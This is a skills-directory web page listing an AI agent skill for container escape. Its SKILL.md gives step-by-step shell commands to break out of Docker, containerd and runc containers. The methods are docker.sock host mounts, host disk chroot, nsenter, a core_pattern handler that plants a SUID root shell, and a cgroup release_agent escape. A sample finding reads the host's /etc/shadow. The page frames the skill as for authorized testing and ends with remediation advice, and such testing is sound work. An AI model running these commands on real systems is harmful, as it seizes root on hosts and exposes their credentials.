Skip to content
Back to skills

Webapp Exploiting Container Escapes

CSecurity

Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json…

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securitygoshellbashdockerkubernetesapisecurity

Works with

  • api

Security analysis

C63/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill webapp-exploiting-container-escapes --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Webapp Exploiting Container Escapes?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Webapp Exploiting Container Escapes
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-webapp-exploiting-container-escapes/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-exploiting-container-escapes)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: webapp-exploiting-container-escapes
description: Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json…
domain: webapp
category: container-security
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/webapp-exploiting-container-escapes/SKILL.md
---
# Exploiting Container Escapes

## When to Use

- After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
- When the container was started with `--privileged`, extra capabilities, or host namespaces
- When sensitive host paths or sockets are bind-mounted into the container
- When `runc`/`ctr` binaries or a Docker socket are reachable from inside
- During Kubernetes pod assessments where the pod's security context is weak

## Critical: Techniques Most Often Missed

Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.

- **Mounted Docker/containerd socket = trivial host root.** Spawn a new container mounting host `/`.
  - How to CONFIRM: `find / -name docker.sock 2>/dev/null`; then `docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh` gives a host root shell.
- **Privileged container + host block device.** Mount the host disk and chroot.
  - How to CONFIRM: `ls -l /dev/sd* /dev/vd* /dev/nvme*` lists host disks; `mount /dev/sda1 /mnt && chroot /mnt sh` reaches the host FS.
- **Writable `/proc/sys/kernel/core_pattern`.** A crash triggers a pipe handler that runs as root on the host.
  - How to CONFIRM: `[ -w /proc/sys/kernel/core_pattern ]`; piping a payload via `core_pattern` and crashing a process drops a root SUID shell.
- **CAP_SYS_ADMIN + cgroup v1 = release_agent escape.** No kernel exploit needed.
  - How to CONFIRM: `capsh --print | grep sys_admin` and a mountable `cgroup`; the release_agent script runs on the host when the cgroup empties.
- **Host PID namespace + nsenter.** Enter PID 1's namespaces directly.
  - How to CONFIRM: `ps -ef` shows host processes; `nsenter -t 1 -m -u -n -i -p /bin/bash` yields a host shell.
- **Reachable `runc`.** Craft a `config.json` that bind-mounts host `/` and run it.
  - How to CONFIRM: `runc -help` works; a container with a `/` rbind mount in `config.json` exposes the host root.

## Workflow

### Step 1: Recon — Confirm Which Escape Families Are Viable

```bash
capsh --print                                    # expanded cap set? cap_sys_admin?
grep Seccomp /proc/self/status                   # Seccomp: 0 = disabled
cat /proc/self/attr/current 2>/dev/null          # AppArmor/SELinux confinement gone?
mount | grep -E '/proc|/sys| /host| /mnt| /var'  # dangerous kernel FS / host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null   # host block devices visible?
find / -maxdepth 3 -name '*.sock' 2>/dev/null    # runtime sockets
env ; cat /proc/1/cgroup                          # detect runtime + cgroup layout
# deepce.sh / amicontained give the same picture automatically
```

### Step 2: Abuse a Mounted Runtime Socket

```bash
find / -maxdepth 4 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
# Docker socket -> new container with host / mounted, then chroot
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash
# containerd
ctr --address /run/containerd/containerd.sock images ls
```

### Step 3: Privileged Container — Mount the Host Disk

```bash
fdisk -l 2>/dev/null ; blkid 2>/dev/null         # identify host root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host
chroot /mnt/host /bin/bash
# Or bind-mount the already-visible host root
mkdir -p /tmp/host && mount --bind / /tmp/host && chroot /tmp/host /bin/bash
```

### Step 4: Host Namespace Entry (nsenter)

```bash
which nsenter
nsenter -t 1 -m -u -n -i -p /bin/bash            # needs CAP_SYS_ADMIN + host PID (--pid=host)
ps -ef | head                                     # confirm you see host processes
```

### Step 5: Sensitive Host Mount — core_pattern Host RCE

```bash
[ -w /proc/sys/kernel/core_pattern ] || echo "not writable"
# find the overlay upperdir so the host can read our script
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat > /shell.sh <<'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh; chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
# crash a process to trigger the pipe handler (runs as root on host)
cat > /tmp/crash.c <<'EOF'
int main(void){ char b[1]; for(int i=0;i<100;i++) b[i]=1; return 0; }
EOF
gcc /tmp/crash.c -o /tmp/crash && /tmp/crash
ls -l /tmp/rootsh
# Other high-value writable paths: /proc/sys/kernel/modprobe, /proc/sysrq-trigger, /proc/kcore (recon)
```

### Step 6: CAP_SYS_ADMIN cgroup v1 release_agent Escape

```bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOF
chmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```

### Step 7: runc config.json Bind-Mount Abuse

```bash
runc -help                                        # runc reachable?
runc spec                                         # generates config.json
# add to the "mounts" array in config.json:
#   { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }
mkdir rootfs
runc run demo                                     # root folder is the HOST's /
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **--privileged** | Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities |
| **Host namespace sharing** | `--pid=host`/`--network=host`; enables nsenter and host process visibility |
| **Runtime socket exposure** | A mounted docker.sock/containerd.sock = full control of the runtime as root |
| **Sensitive host mount** | Bind mounts of `/proc`, `/sys`, `/var`, devices exposing host kernel controls |
| **core_pattern** | Writable `/proc/sys/kernel/core_pattern` runs a pipe handler as root on crash |
| **release_agent** | cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host |
| **runc config.json** | A bind mount of `/` in the OCI spec exposes the host root filesystem |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **amicontained** | Reports capabilities, seccomp, and namespace/container detection |
| **deepce** | Automated Docker/container enumeration and escape helper |
| **capsh** | Confirm the container's capability set (cap_sys_admin etc.) |
| **nsenter** | Enter host namespaces from a CAP_SYS_ADMIN / host-PID container |
| **docker / ctr** | Drive a mounted runtime socket to launch a host-mounted container |
| **runc** | Run an OCI container with a host-root bind mount |
| **linpeas** | General host/container privesc enumeration |

## Common Scenarios

### Scenario 1: Mounted docker.sock
A CI container bind-mounts `/var/run/docker.sock`. `docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh` returns instant host root.

### Scenario 2: Privileged container
`capsh --print` shows the full cap set and `/dev/sda1` is visible. Mounting it and `chroot` writes an SSH key into the host's `/root/.ssh`.

### Scenario 3: Writable core_pattern
A monitoring sidecar mounts `/proc` writable. Pointing `core_pattern` at an overlay script and crashing a process yields root code execution on the host.

### Scenario 4: CAP_SYS_ADMIN without privileged
A container has `--cap-add=SYS_ADMIN` but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.

## Output Format

```
## Container Escape Finding

**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)

### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)

### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id   -> uid=0(root)  on the HOST
# cat /etc/shadow      (host file) -> readable

### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.

### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.